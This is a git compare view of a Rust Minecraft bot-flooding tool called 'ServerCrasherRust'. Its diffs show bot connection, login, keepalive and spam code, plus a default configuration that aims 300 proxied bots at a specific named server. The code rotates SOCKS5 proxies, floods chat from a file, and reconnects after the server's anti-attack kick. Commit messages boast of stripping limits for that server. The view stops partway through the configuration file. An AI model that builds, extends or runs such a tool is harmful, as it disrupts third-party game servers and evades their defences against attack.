Compare commits

..

10 Commits

Author SHA1 Message Date
c8e5efe395 我也不知道这次提交是做什么的 2026-07-22 02:18:01 +08:00
2753fbba13 Merge branch 'v1.1_beta_EVSPecific' 2025-01-26 16:03:48 +08:00
5d3cb90d4a 让代码变得好看,允许玩家自定生成的用户名长度(随机字母部分) 2025-01-26 16:01:40 +08:00
6861c820bd 地球村特供无限制版本 2025-01-26 11:53:01 +08:00
Zihaoxu2008
347ec4590d Revert "去他妈的限制"
This reverts commit 339d6fab82.
2025-01-26 11:48:57 +08:00
Zihaoxu2008
d794e1532f Revert "在傻逼地球村这个完全可以忽略"
This reverts commit 492f62d6b3.
2025-01-26 11:48:52 +08:00
Zihaoxu2008
91624eec0f 简单搞了下logger 2025-01-26 11:47:59 +08:00
lim114514
339d6fab82 去他妈的限制 2025-01-26 11:08:28 +08:00
lim114514
492f62d6b3 在傻逼地球村这个完全可以忽略 2025-01-26 11:01:47 +08:00
Zihaoxu2008
f66e8412e5 再次*2修改了一些内容,修改了README.md 2025-01-26 01:50:38 +08:00
10 changed files with 2593 additions and 2472 deletions

9
.gitignore vendored
View File

@@ -1,4 +1,5 @@
/target /target
/.idea /.idea
/我是崩服小能手 /我是崩服小能手
/config.json /config.json
/release

3543
Cargo.lock generated

File diff suppressed because it is too large Load Diff

View File

@@ -1,14 +1,16 @@
[package] [package]
name = "ServerCrasherRust" name = "ServerCrasherRust"
version = "0.1.0" version = "0.1.0"
edition = "2021" edition = "2021"
[dependencies] [dependencies]
rust_mc_proto = "0.1.17" rust_mc_proto = "0.1.17"
serde = { version = "1.0", features = ["derive"] } serde = { version = "1.0", features = ["derive"] }
serde_json = "1.0.137" serde_json = "1.0.137"
socks = "0.3.4" socks = "0.3.4"
uuid = "1.12.1" uuid = "1.12.1"
rand = "0.8.5" # 添加rand库依赖 rand = "0.8.5" # 添加rand库依赖
reqwest = "0.12.12" reqwest = "0.12.12"
tokio = { version = "1.43.0", features = ["full", "rt", "rt-multi-thread"] } tokio = { version = "1.43.0", features = ["full", "rt", "rt-multi-thread"] }
log = "0.4.25"
env_logger = "0.11.6"

View File

@@ -1,16 +1,16 @@
# SCRGV - 地球管家 # SCRGV - 地球管家
该项目为生鱼管家的重制版,将项目移植到了rust,并且拥有了更加简洁的程序~~(即丢掉了原先的那坨史山)~~ 该项目为生鱼管家的重制版,将项目移植到了rust,并且拥有了更加简洁的程序~~(即丢掉了原先的那坨史山)~~
得益于rust高效~~(且折磨人)~~的内存管理,新版本可以以更低的内存占用达到更高的效果 得益于rust高效~~(且折磨人)~~的内存管理,新版本可以以更低的内存占用达到更高的效果
目前的版本仅支持Minecraft 1.20.1,且暂无配置文件等功能(目标ip什么的写死在代码里了) 目前的版本仅支持Minecraft 1.20.1,且暂无配置文件等功能(目标ip什么的写死在代码里了)
## 使用方法 ## 使用方法
1. 我相信通过百度,你有安装rust的能力,因此跳过此步骤 1. 我相信通过百度,你有安装rust的能力,因此跳过此步骤
2. 将项目克隆到本地 2. 将项目克隆到本地
3. 命令行里跑一跑 3. 命令行里跑一跑
```shell ```shell
cd ServerCrasherRust cd ServerCrasherRust
cargo run cargo run
``` ```
## TODO List ## TODO List
1. 实现配置文件&更加灵活的代理设置 1. 实现配置文件&更加灵活的代理设置 [已完成]
2. 实现spammer,tab completion crash等实用的~~熊服~~(划掉)功能 2. 实现spammer,tab completion crash等实用的~~熊服~~(划掉)功能 [部分完成]
3. 适配多版本(flag先立着,什么时候实现不一定) 3. 适配多版本(flag先立着,什么时候实现不一定)[Waiting...]

View File

@@ -1,6 +1,6 @@
SCRGV - v1.1 SCRGV - v1.1
- 完善config - 完善config
- 修复了部分bug - 修复了部分bug
- 实现了灵活的代理切换(现在如果不需要使用代理,可以将proxy_url置空) - 实现了灵活的代理切换(现在如果不需要使用代理,可以将proxy_url置空)
- 实现了spammer和登录命令 - 实现了spammer和登录命令

View File

@@ -1,363 +1,383 @@
// bot的实现 // bot的实现
use std::{io::{Error, Read, Write}, net::TcpStream, sync::Arc, thread::{self, sleep}, time::{self, Duration}}; use std::{io::{Error, Read, Write}, net::TcpStream, str::FromStr, sync::Arc, thread::{self, sleep}, time::{self, Duration}};
use rust_mc_proto::{DataBufferReader, DataBufferWriter, MinecraftConnection, Packet, ProtocolError}; use log::{info, warn};
use socks::Socks5Stream; use rust_mc_proto::{DataBufferReader, DataBufferWriter, MinecraftConnection, Packet, ProtocolError};
use tokio::{io::{AsyncBufReadExt, AsyncSeekExt}, sync::Mutex}; use socks::Socks5Stream;
use crate::{configuration::Configuration, utils}; use tokio::{io::{AsyncBufReadExt, AsyncSeekExt}, sync::Mutex};
use crate::{configuration::Configuration, utils};
// 让所有bot能够共享变量
pub struct BotVariable { // 让所有bot能够共享变量
pub spam_file: Arc<Mutex<Option<tokio::fs::File>>>, pub struct BotVariable {
pub spam_cursor: Arc<Mutex<u64>> pub spam_file: Arc<Mutex<Option<tokio::fs::File>>>,
} pub spam_cursor: Arc<Mutex<u64>>,
}
// impl Clone for BotVariable {
// fn clone(&self) -> Self { // Bot主线程和worker线程间的通信
// Self { spam_file: self.spam_file.clone() } pub struct BotMessage {
// } pub state: i32,
// } pub last_keepalive_sec: u64,
}
// 定义一个StreamType的特性,要求实现Read和Write,且含有connect函数
pub trait StreamType: Read + Write { // 定义一个StreamType的特性,要求实现Read和Write,且含有connect函数
fn connect(server_addr: &str,proxy_addr: &str) -> Result<Self, Error> where Self: Sized; pub trait StreamType: Read + Write {
} fn connect(server_addr: &str,proxy_addr: &str) -> Result<Self, Error> where Self: Sized;
}
// *由于下面的Stream已经实现过connect了,所以这里没必要重复一遍
// // 然后让Socks5Stream实现StreamType // Bot泛型版
// impl StreamType for Socks5Stream{ pub struct Bot<T: StreamType> {
// fn connect(server_addr: &str,proxy_addr: &str) -> Result<Self, Error> where Self: Sized { pub username: String,
// return Socks5Stream::connect(proxy_addr, server_addr); pub proxy_addr: String,
// } pub server_addr: String,
// } conn: Arc<Mutex<MinecraftConnection<T>>>,
// // 再让TcpStream实现StreamType should_restart: bool,
// impl StreamType for TcpStream { config: Arc<Configuration>,
// fn connect(server_addr: &str,_: &str) -> Result<Self, Error> where Self: Sized { status: i32,
// return TcpStream::connect(server_addr); var: Arc<BotVariable>,
// } alive: Arc<Mutex<bool>>
// } }
// Bot泛型版 // 然后用一个Stream枚举来包装TcpStream和Socks5Stream(trait不能拿来创建bot)
pub struct Bot<T: StreamType> { pub enum Stream {
pub username: String, Socks5(Socks5Stream),
pub proxy_addr: String, Tcp(TcpStream),
pub server_addr: String, }
conn: Arc<Mutex<MinecraftConnection<T>>>,
should_restart: bool, //给Stream实现Read和Write
config: Arc<Configuration>, impl Read for Stream {
status: i32, fn read(&mut self, buf: &mut [u8]) -> std::io::Result<usize> {
var: Arc<BotVariable>, match self {
} Stream::Socks5(t) => t.read(buf),
Stream::Tcp(t) => t.read(buf),
// 然后用一个Stream枚举来包装TcpStream和Socks5Stream(trait不能拿来创建bot) }
pub enum Stream { }
Socks5(Socks5Stream), }
Tcp(TcpStream),
} impl Write for Stream {
fn write(&mut self, buf: &[u8]) -> std::io::Result<usize> {
//给Stream实现Read和Write match self {
impl Read for Stream { Stream::Socks5(t) => t.write(buf),
fn read(&mut self, buf: &mut [u8]) -> std::io::Result<usize> { Stream::Tcp(t) => t.write(buf),
match self { }
Stream::Socks5(t) => t.read(buf), }
Stream::Tcp(t) => t.read(buf),
} fn flush(&mut self) -> std::io::Result<()> {
} match self {
} Stream::Socks5(t) => t.flush(),
Stream::Tcp(t) => t.flush(),
impl Write for Stream { }
fn write(&mut self, buf: &[u8]) -> std::io::Result<usize> { }
match self { }
Stream::Socks5(t) => t.write(buf),
Stream::Tcp(t) => t.write(buf), // 再让Stream实现StreamType,这样Stream就能拿来搞bot的泛型了
} impl StreamType for Stream {
} fn connect(server_addr: &str,proxy_addr: &str) -> Result<Self, Error> where Self: Sized {
if !proxy_addr.is_empty() {
fn flush(&mut self) -> std::io::Result<()> { Ok(Stream::Socks5(Socks5Stream::connect(proxy_addr, server_addr)?))
match self { }else {
Stream::Socks5(t) => t.flush(), Ok(Stream::Tcp(TcpStream::connect(server_addr)?))
Stream::Tcp(t) => t.flush(), }
} }
} }
}
impl Clone for Bot<Stream> {
// 再让Stream实现StreamType,这样Stream就能拿来搞bot的泛型了 fn clone(&self) -> Self {
impl StreamType for Stream { Self {
fn connect(server_addr: &str,proxy_addr: &str) -> Result<Self, Error> where Self: Sized { username: self.username.clone(),
if !proxy_addr.is_empty() { proxy_addr: self.proxy_addr.clone(),
Ok(Stream::Socks5(Socks5Stream::connect(proxy_addr, server_addr)?)) server_addr: self.server_addr.clone(),
}else { conn: self.conn.clone(),
Ok(Stream::Tcp(TcpStream::connect(server_addr)?)) should_restart: self.should_restart.clone(),
} config: self.config.clone(),
} status: self.status.clone(),
} var: self.var.clone(),
alive: self.alive.clone()}
impl Clone for Bot<Stream> { }
fn clone(&self) -> Self { }
Self {
username: self.username.clone(), impl<T: StreamType> Bot<T> {
proxy_addr: self.proxy_addr.clone(), pub fn new(username: String, proxy_addr: String, server_addr: String, config: Arc<Configuration>, var: Arc<BotVariable>) -> Result<Bot<T>, Error> {
server_addr: self.server_addr.clone(), info!("[{}] Creating bot on {} with proxy {}", username, server_addr, proxy_addr);
conn: self.conn.clone(), let stream = T::connect(server_addr.as_str(), proxy_addr.as_str());
should_restart: self.should_restart.clone(), let should_restart = false;
config: self.config.clone(), match stream {
status: self.status.clone(), Ok(stream) => Ok(Bot {
var: self.var.clone()} username,
} proxy_addr,
} server_addr,
conn: Arc::new(Mutex::new(MinecraftConnection::new(stream))),
impl<T: StreamType> Bot<T> { should_restart,
pub fn new(username: String, proxy_addr: String, server_addr: String, config: Arc<Configuration>, var: Arc<BotVariable>) -> Result<Bot<T>, Error> { config,
println!("[{}] Creating bot on {} with proxy {}", username, server_addr, proxy_addr); status: 0,
let stream = T::connect(server_addr.as_str(), proxy_addr.as_str()); var: var,
let should_restart = false; alive: Arc::new(Mutex::new(true))}),
match stream { Err(e) => Err(e),
Ok(stream) => Ok(Bot { }
username, }
proxy_addr, // bot登录函数
server_addr, pub async fn login(&mut self) -> Result<(), ProtocolError> {
conn: Arc::new(Mutex::new(MinecraftConnection::new(stream))), // 这里其实传的server host是什么都不要紧,但保险起见还是弄一下
should_restart, let mut server_host: String = self.server_addr.clone();
config, let server_port: String = server_host.split_off(server_host.find(":").unwrap()+1);
status: 0, // println!("{}",server_host);
var: var}), server_host = server_host.strip_suffix(':').unwrap().to_string();
Err(e) => Err(e), let server_port_num: u16 = server_port.parse::<u16>().unwrap();
} // 发一个handshake包,设置next_state为2(Login)
} self.conn.lock().await.write_packet(&Packet::build(0x00, |packet| {
// bot登录函数 packet.write_u16_varint(763)?; // protocol_version
pub async fn login(&mut self) -> Result<(), ProtocolError> { packet.write_string(&server_host)?; // server_address
// 这里其实传的server host是什么都不要紧,但保险起见还是弄一下 packet.write_unsigned_short(server_port_num)?; // server_port
let mut server_host: String = self.server_addr.clone(); packet.write_u8_varint(2) // next_state
let server_port: String = server_host.split_off(server_host.find(":").unwrap()+1); })?)?; // handshake packet
// println!("{}",server_host);
server_host = server_host.strip_suffix(':').unwrap().to_string(); // 再发一个,把用户名发过去(不知道为什么,反正文档上写要发两个)
let server_port_num: u16 = server_port.parse::<u16>().unwrap(); self.conn.lock().await.write_packet(&Packet::build(0x00, |packet| {
// 发一个handshake包,设置next_state为2(Login) packet.write_string(&self.username)?;
self.conn.lock().await.write_packet(&Packet::build(0x00, |packet| { packet.write_boolean(false)// ?;
packet.write_u16_varint(763)?; // protocol_version // packet.write_uuid(&Uuid::parse_str("550e8400-e29b-41d4-a716-446655440000").unwrap())
packet.write_string(&server_host)?; // server_address })?)?; // login start packet
packet.write_unsigned_short(server_port_num)?; // server_port
packet.write_u8_varint(2) // next_state Ok(())
})?)?; // handshake packet }
// 再发一个,把用户名发过去(不知道为什么,反正文档上写要发两个) pub async fn send_message(&mut self, message: String) -> Result<(), ProtocolError> {
self.conn.lock().await.write_packet(&Packet::build(0x00, |packet| { self.conn.lock().await.write_packet(&Packet::build(0x05, |packet| {
packet.write_string(&self.username)?; packet.write_string(message.as_str())?; // message
packet.write_boolean(false)// ?; packet.write_long(time::SystemTime::now().duration_since(time::SystemTime::UNIX_EPOCH).unwrap().as_millis() as i64)?; // timestamp
// packet.write_uuid(&Uuid::parse_str("550e8400-e29b-41d4-a716-446655440000").unwrap()) packet.write_long(0)?; // salt
})?)?; // login start packet packet.write_boolean(false)?; // has signature
packet.write_u8_varint(0)?; // message count
Ok(()) packet.write_bytes(&[0,0,0])
} })?)?;
Ok(())
pub async fn send_message(&mut self, message: String) -> Result<(), ProtocolError> { }
self.conn.lock().await.write_packet(&Packet::build(0x05, |packet| {
packet.write_string(message.as_str())?; // message pub async fn send_command(&mut self, command: String) -> Result<(), ProtocolError> {
packet.write_long(time::SystemTime::now().duration_since(time::SystemTime::UNIX_EPOCH).unwrap().as_millis() as i64)?; // timestamp self.conn.lock().await.write_packet(&Packet::build(0x04, |packet| {
packet.write_long(0)?; // salt packet.write_string(&command.as_str())?;
packet.write_boolean(false)?; // has signature packet.write_long(time::SystemTime::now().duration_since(time::SystemTime::UNIX_EPOCH).unwrap().as_millis() as i64)?;
packet.write_u8_varint(0)?; // message count packet.write_long(0)?;
packet.write_bytes(&[0,0,0]) packet.write_u8_varint(0)?;
})?)?; packet.write_u8_varint(0)?; // message count
Ok(()) packet.write_bytes(&[0,0,0])
} })?)?;
Ok(())
pub async fn send_command(&mut self, command: String) -> Result<(), ProtocolError> { }
self.conn.lock().await.write_packet(&Packet::build(0x04, |packet| {
packet.write_string(&command.as_str())?; // 处理服务器发的keepalive
packet.write_long(time::SystemTime::now().duration_since(time::SystemTime::UNIX_EPOCH).unwrap().as_millis() as i64)?; pub async fn handle_keepalive(&mut self,packet: &mut Packet) -> Result<(), ProtocolError> {
packet.write_long(0)?; // keep alive
packet.write_u8_varint(0)?; let id = packet.read_long()?;
packet.write_u8_varint(0)?; // message count // keepalive原封不动丢回去就行
packet.write_bytes(&[0,0,0]) // TODO 在20秒未进行Keepalive时断开连接
})?)?; self.conn.lock().await.write_packet(&Packet::build(0x12, |packet| { // respond with a same keep alive packet
Ok(()) packet.write_long(id)
} })?)?;
// println!("Server keep alived");
// 处理服务器发的keepalive // 这个包是重生用的,因为我发现如果玩家上线的时候就是死的,那它就没法自动重生
pub async fn handle_keepalive(&mut self,packet: &mut Packet) -> Result<(), ProtocolError> { self.conn.lock().await.write_packet(&Packet::build(0x07, |packet| {
// keep alive packet.write_u8_varint(0)
let id = packet.read_long()?; })?)?;
// keepalive原封不动丢回去就行 Ok(())
// TODO 在20秒未进行Keepalive时断开连接 }
self.conn.lock().await.write_packet(&Packet::build(0x12, |packet| { // respond with a same keep alive packet
packet.write_long(id) // 处理断开连接事件(这个指的是建立连接后再断开连接)
})?)?; pub async fn handle_disconnect(&mut self,packet: &mut Packet) -> Result<(), ProtocolError> {
// println!("Server keep alived"); // disconnect
// 这个包是重生用的,因为我发现如果玩家上线的时候就是死的,那它就没法自动重生 let message = packet.read_string()?;
self.conn.lock().await.write_packet(&Packet::build(0x07, |packet| { let text = utils::parse_json_component(message.as_str());
packet.write_u8_varint(0) info!("[{}] Server disconnected: {}", self.username, text);
})?)?; // if text.contains("验证程序已启用") { // TODO 把这个搞进配置文件里面
Ok(()) // println!("[{}] Restart flag setted, will restart after 1.5 min", self.username);
} // sleep(Duration::from_secs(90));
// self.should_restart = true;
// 处理断开连接事件(这个指的是建立连接后再断开连接) // }
pub async fn handle_disconnect(&mut self,packet: &mut Packet) -> Result<(), ProtocolError> { for i in self.config.reco_words(){
// disconnect if text.contains(i.as_str()) {
let message = packet.read_string()?; info!("[{}] Restart flag setted, will restart after 1.5 min", self.username);
let text = utils::parse_json_component(message.as_str()); sleep(Duration::from_secs(90));
println!("[{}] Server disconnected: {}", self.username, text); self.should_restart = true;
// if text.contains("验证程序已启用") { // TODO 把这个搞进配置文件里面 }
// println!("[{}] Restart flag setted, will restart after 1.5 min", self.username); }
// sleep(Duration::from_secs(90)); Ok(())
// self.should_restart = true; }
// }
for i in self.config.reco_words(){ // 处理网络数据包
if text.contains(i.as_str()) { pub async fn handle_packets(&mut self, status_tx: tokio::sync::mpsc::UnboundedSender<BotMessage>) -> Result<(), ProtocolError> {
println!("[{}] Restart flag setted, will restart after 1.5 min", self.username); while self.conn.lock().await.is_alive() && *self.alive.lock().await {
sleep(Duration::from_secs(90)); let mut packet = self.conn.lock().await.read_packet()?;
self.should_restart = true; let mut message = BotMessage {
} state: 0,
} last_keepalive_sec: 0
Ok(()) };
} let mut uuid_self = uuid::Uuid::from_str("550e8400-e29b-41d4-a716-446655440000").unwrap(); // 这个纯随机
let mut ent_self = 0;
// 处理网络数据包 match packet.id() {
pub async fn handle_packets(&mut self, status_tx: tokio::sync::mpsc::UnboundedSender<u8>) -> Result<(), ProtocolError> { 0x01 => { // spawn entity
while self.conn.lock().await.is_alive() { let id = packet.read_i32_varint()?;
let mut packet = self.conn.lock().await.read_packet()?; let uid = packet.read_uuid()?;
match packet.id() { if uid.eq(&uuid_self) {
0x02 => { // 成功登录 ent_self = id;
// login success }
println!("[{}] Successfully logged in!",self.username); }
self.status = 1; 0x02 => { // 成功登录(Login Success)
status_tx.send(1).unwrap(); // login success
} info!("[{}] Successfully logged in!",self.username);
0x03 => {// 设置压缩CompressionThreshold self.status = 1;
// set compression message.state = 1;
let threshold = packet.read_i32_varint()?; message.last_keepalive_sec = time::SystemTime::now().duration_since(time::SystemTime::UNIX_EPOCH).unwrap().as_secs();
if threshold >= 0 { status_tx.send(message).unwrap_or(());
self.conn.lock().await.set_compression(Some(threshold as usize)); uuid_self = packet.read_uuid()?;
// println!("[{}] Compression threshold set to {}", self.username, threshold) }
} 0x03 => {// 设置压缩CompressionThreshold
} // set compression
0x23 => { // KeepAlive包 let threshold = packet.read_i32_varint()?;
self.handle_keepalive(&mut packet).await?; if threshold >= 0 {
// println!("{}",self.status); self.conn.lock().await.set_compression(Some(threshold as usize));
} // println!("[{}] Compression threshold set to {}", self.username, threshold)
0x1A => {// 断连包 }
// disconnect }
self.handle_disconnect(&mut packet).await?; 0x23 => { // KeepAlive包
status_tx.send(2).unwrap(); self.handle_keepalive(&mut packet).await?;
break; message.last_keepalive_sec = time::SystemTime::now().duration_since(time::SystemTime::UNIX_EPOCH).unwrap().as_secs();
} status_tx.send(message).unwrap_or(());
0x00 => {// 版本不匹配啥的就会走这 // println!("{}",self.status);
if self.status == 0{ }
let text = packet.read_string()?; 0x1A => {// 断连包
println!("[{}] Failed to login: {}", self.username, utils::parse_json_component(text.as_str())); // disconnect
status_tx.send(2); self.handle_disconnect(&mut packet).await?;
break; message.state = 2;
} status_tx.send(message).unwrap_or(());
} break;
0x38 => {// 去世包(自动复活) }
// player died 0x00 => {// 版本不匹配啥的就会走这
println!("[{}] Player died,respawning...",self.username); if self.status == 0{
self.conn.lock().await.write_packet(&Packet::build(0x07, |packet| { let text = packet.read_string()?;
packet.write_u8_varint(0) warn!("[{}] Failed to login: {}", self.username, utils::parse_json_component(text.as_str()));
})?)? message.state = 2;
} status_tx.send(message).unwrap_or(());
_ => { break;
}
} }
} 0x38 => {// 去世包(自动复活)
} // player died
Ok(()) info!("[{}] Player died,respawning...",self.username);
} self.conn.lock().await.write_packet(&Packet::build(0x07, |packet| {
packet.write_u8_varint(0)
// !这里的self不与主线程的self相同 })?)?
pub async fn update_worker(&mut self, mut status_rx: tokio::sync::mpsc::UnboundedReceiver<u8>){ }
let mut login_timestamp = 0; _ => {
let mut login_command_flag = false;
let mut status = 0; }
let mut iter = 0; }
let mut flag = true; }
println!("[{}/WORKER] Worker started!", self.username); Ok(())
while flag { }
if !status_rx.is_empty() {
status = status_rx.recv().await.unwrap(); // !这里的self不与主线程的self相同
} pub async fn update_worker(&mut self, mut status_rx: tokio::sync::mpsc::UnboundedReceiver<BotMessage>){
if status == 1 && login_timestamp == 0 { // 刚刚登录完毕 let mut login_timestamp = 0;
login_timestamp = time::SystemTime::now().duration_since(time::SystemTime::UNIX_EPOCH).unwrap().as_millis() as i64; let mut login_command_flag = false;
}else if status == 1 { // 已登录 let mut message = BotMessage {
if login_timestamp + 3000 <= time::SystemTime::now().duration_since(time::SystemTime::UNIX_EPOCH).unwrap().as_millis() as i64 state: 0,
&& !login_command_flag { // 登录3s后且未执行过登录命令 last_keepalive_sec: 0
let commands = self.config.login_commands().clone(); };
for i in commands{ let mut iter = 0;
self.send_command(i.to_string()).await.unwrap(); let mut flag = true;
thread::sleep(Duration::from_secs(1)); info!("[{}/WORKER] Worker started!", self.username);
} while flag {
println!("[{}/WORKER] Login commands executed!",self.username); if !status_rx.is_empty() {
login_command_flag = true; message = status_rx.recv().await.unwrap();
} }
} if message.state == 1 && login_timestamp == 0 { // 刚刚登录完毕
if login_command_flag { // 执行完登录命令后 login_timestamp = time::SystemTime::now().duration_since(time::SystemTime::UNIX_EPOCH).unwrap().as_millis() as i64;
if !self.config.spam_file().is_empty() && iter % self.config.spam_delay_ms() == 0{ }else if message.state == 1 { // 已登录
let mut msg = String::new(); if login_timestamp + 3000 <= time::SystemTime::now().duration_since(time::SystemTime::UNIX_EPOCH).unwrap().as_millis() as i64
if self.config.random_prefix(){ && !login_command_flag { // 登录3s后且未执行过登录命令
msg += &utils::generate_string(2,10); let commands = self.config.login_commands().clone();
} for i in commands{
{ // TODO 优化这里 self.send_command(i.to_string()).await.unwrap_or(());
let var = self.var.clone(); thread::sleep(Duration::from_secs(1));
let mut file_lock = var.spam_file.lock().await; }
let file = file_lock.as_mut().unwrap(); info!("[{}/WORKER] Login commands executed!",self.username);
let mut reader = tokio::io::BufReader::new(file); login_command_flag = true;
let mut line = String::new(); }
let mut flag = true; }
reader.seek(std::io::SeekFrom::Start(*var.spam_cursor.lock().await)).await.unwrap(); if login_command_flag { // 执行完登录命令后
while flag { if !self.config.spam_file().is_empty() && iter % self.config.spam_delay_ms() == 0{
flag = false; let mut msg = String::new();
if let Ok(size) = reader.read_line(&mut line).await { if self.config.random_prefix(){
if size == 0 { msg += &utils::generate_string(2,10);
reader.seek(std::io::SeekFrom::Start(0)).await.unwrap(); }
flag = true; { // TODO 优化这里
}else { let var = self.var.clone();
msg += line.trim(); let mut file_lock = var.spam_file.lock().await;
} let file = file_lock.as_mut().unwrap();
} let mut reader = tokio::io::BufReader::new(file);
} let mut line = String::new();
(*var.spam_cursor.lock().await) = reader.stream_position().await.unwrap(); let mut flag = true;
} reader.seek(std::io::SeekFrom::Start(*var.spam_cursor.lock().await)).await.unwrap();
self.send_message(msg).await.unwrap_or(()); while flag {
} flag = false;
iter += 1; if let Ok(size) = reader.read_line(&mut line).await {
} if size == 0 {
sleep(Duration::from_millis(1)); reader.seek(std::io::SeekFrom::Start(0)).await.unwrap();
flag = self.conn.lock().await.is_alive() && status!=2; flag = true;
} }else {
println!("[{}/WORKER] Worker stopped.", self.username); msg += line.trim();
} }
}
// 运行bot }
pub async fn run(&mut self, status_tx: tokio::sync::mpsc::UnboundedSender<u8>) -> Result<(), ProtocolError> { (*var.spam_cursor.lock().await) = reader.stream_position().await.unwrap();
println!("[{}] Connecting to {} with proxy {}", self.username, self.server_addr, self.proxy_addr); }
self.login().await.unwrap(); self.send_message(msg).await.unwrap_or(());
self.handle_packets(status_tx).await.unwrap_or(()); }
Ok(()) let timestamp = time::SystemTime::now().duration_since(time::SystemTime::UNIX_EPOCH).unwrap().as_secs();
} if message.last_keepalive_sec + 60 < timestamp { // 连接超时
(*self.alive.lock().await) = false;
pub fn should_restart(&self) -> bool { warn!("[{}/WORKER] Bot timed out", self.username);
self.should_restart break;
} }
}
iter += 1;
// 把创建bot的方法提取出来力 }
pub fn create_new_bot(username: String, proxy_addr: String, server_addr: String, config: Arc<Configuration>, var: Arc<BotVariable>) -> Result<Bot<Stream>, Error>{ sleep(Duration::from_millis(1));
if !proxy_addr.is_empty() { flag = self.conn.lock().await.is_alive() && message.state!=2;
Bot::<Stream>::new( }
username, warn!("[{}/WORKER] Worker stopped.", self.username);
proxy_addr, }
server_addr,
config, // 运行bot
var pub async fn run(&mut self, status_tx: tokio::sync::mpsc::UnboundedSender<BotMessage>) -> Result<(), ProtocolError> {
) info!("[{}] Connecting to {} with proxy {}", self.username, self.server_addr, self.proxy_addr);
}else { self.login().await.unwrap();
Bot::<Stream>::new( self.handle_packets(status_tx).await.unwrap_or(());
username, Ok(())
"".to_string(), }
server_addr,
config, pub fn should_restart(&self) -> bool {
var self.should_restart
) }
} }
// 把创建bot的方法提取出来力
pub fn create_new_bot(username: String, proxy_addr: String, server_addr: String, config: Arc<Configuration>, var: Arc<BotVariable>) -> Result<Bot<Stream>, Error>{
if !proxy_addr.is_empty() {
Bot::<Stream>::new(
username,
proxy_addr,
server_addr,
config,
var
)
}else {
Bot::<Stream>::new(
username,
"".to_string(),
server_addr,
config,
var
)
}
} }

View File

@@ -1,121 +1,107 @@
use std::{fs::File, io::BufWriter}; use std::{fs::File, io::BufWriter};
use serde::{Deserialize, Serialize}; use log::{info, warn, error};
use std::io::BufReader; use serde::{Deserialize, Serialize};
use std::io::BufReader;
#[derive(Debug, Deserialize, Serialize)]
pub struct Configuration { #[derive(Debug, Deserialize, Serialize)]
server_ip: String, pub struct Configuration {
server_port: String, server_ip: String,
username_prefix: String, server_port: String,
count: i32, username_prefix: String,
proxy_url: String, pub name_len_limit: Vec<i64>,
reco_words: Vec<String>, count: i32,
login_commands: Vec<String>, proxy_url: String,
spam_file: String, reco_words: Vec<String>,
spam_delay_ms: i32, login_commands: Vec<String>,
random_prefix: bool, spam_file: String,
pub worker_threads: i32, spam_delay_ms: i32,
pub use_thread_pool: bool, random_prefix: bool,
pub update_worker_threads: i32 pub worker_threads: i32,
} pub use_thread_pool: bool,
pub update_worker_threads: i32
impl Configuration { }
pub fn new(filename: &str) -> Self {
let file = File::open(filename); impl Configuration {
match file { pub fn new(filename: &str) -> Self {
Ok(file) => { let file = File::open(filename);
let reader = BufReader::new(file); match file {
match serde_json::from_reader::<_,Configuration>(reader) { // serde可以直接解析出实现了Deserialize trait的类型 就很不错 Ok(file) => {
Ok(config) => { let reader = BufReader::new(file);
println!("[CONFIG] Server IP: {}", config.server_ip); match serde_json::from_reader::<_,Configuration>(reader) { // serde可以直接解析出实现了Deserialize trait的类型 就很不错
println!("[CONFIG] Server Port: {}", config.server_port); Ok(config) => {
println!("[CONFIG] Username Prefix: {}", config.username_prefix); info!("Server IP: {}", config.server_ip);
println!("[CONFIG] Bot Count: {}", config.count); info!("Server Port: {}", config.server_port);
println!("[CONFIG] Proxy URL: {}", config.proxy_url); info!("Username Prefix: {}", config.username_prefix);
config info!("Bot Count: {}", config.count);
} info!("Proxy URL: {}", config.proxy_url);
Err(error) => { config
eprintln!("[MAIN/CONF] Error parsing config file: {}", error); }
Self::default() Err(error) => {
} error!("Error parsing config file: {}", error);
} Self::default()
} }
Err(error) => { }
eprintln!("[MAIN/CONF] Unable to read config file, will use default values: {}", error); }
let file = File::create_new(filename).unwrap(); Err(error) => {
let writer = BufWriter::new(file); warn!("Unable to read config file, will use default values: {}", error);
let mut serializer = serde_json::Serializer::pretty(writer); let file = File::create_new(filename).unwrap();
Self::default().serialize(&mut serializer).unwrap(); let writer = BufWriter::new(file);
eprintln!("[Main/CONF] A configure file with default values is created."); let mut serializer = serde_json::Serializer::pretty(writer);
Self::default() Self::default().serialize(&mut serializer).unwrap();
} warn!("A configure file with default values is created.");
} Self::default()
} }
}
fn default() -> Self { }
Configuration {
server_ip: "m.earthvillage.top".to_string(), fn default() -> Self {
server_port: "33009".to_string(), Configuration {
username_prefix: "".to_string(), server_ip: "m.earthvillage.top".to_string(),
count: 300, server_port: "33009".to_string(),
proxy_url: "http://uu-proxy.com/api/get_proxies?id=RZ7GS5ZYTA&size=1&schemes=socks5&support_https=false&format=json".to_string(), username_prefix: "".to_string(),
reco_words: vec!["AntiAttack".to_string()], name_len_limit: vec![4,8],
login_commands: vec![], count: 300,
spam_file: "".to_string(), proxy_url: "http://uu-proxy.com/api/get_proxies?id=RZ7GS5ZYTA&size=1&schemes=socks5&support_https=false&format=json".to_string(),
spam_delay_ms: 0, reco_words: vec!["AntiAttack".to_string()],
random_prefix: false, login_commands: vec![],
worker_threads: 100, spam_file: "".to_string(),
use_thread_pool: true, spam_delay_ms: 0,
update_worker_threads: 100, random_prefix: false,
} worker_threads: 100,
} use_thread_pool: true,
update_worker_threads: 100,
// 下面是getter一堆 }
pub fn server_ip(&self) -> &str { }
self.server_ip.as_str()
} // 下面是getter一堆
pub fn server_port(&self) -> &str { pub fn server_ip(&self) -> &str {
self.server_port.as_str() self.server_ip.as_str()
} }
pub fn username_prefix(&self) -> &str { pub fn server_port(&self) -> &str {
self.username_prefix.as_str() self.server_port.as_str()
} }
pub fn count(&self) -> i32 { pub fn username_prefix(&self) -> &str {
self.count self.username_prefix.as_str()
} }
pub fn proxy_url(&self) -> &str { pub fn count(&self) -> i32 {
self.proxy_url.as_str() self.count
} }
pub fn reco_words(&self) -> &Vec<String> { pub fn proxy_url(&self) -> &str {
&self.reco_words self.proxy_url.as_str()
} }
pub fn login_commands(&self) -> &Vec<String> { pub fn reco_words(&self) -> &Vec<String> {
&self.login_commands &self.reco_words
} }
pub fn spam_file(&self) -> &str { pub fn login_commands(&self) -> &Vec<String> {
self.spam_file.as_str() &self.login_commands
} }
pub fn spam_delay_ms(&self) -> i32 { pub fn spam_file(&self) -> &str {
self.spam_delay_ms self.spam_file.as_str()
} }
pub fn random_prefix(&self) -> bool { pub fn spam_delay_ms(&self) -> i32 {
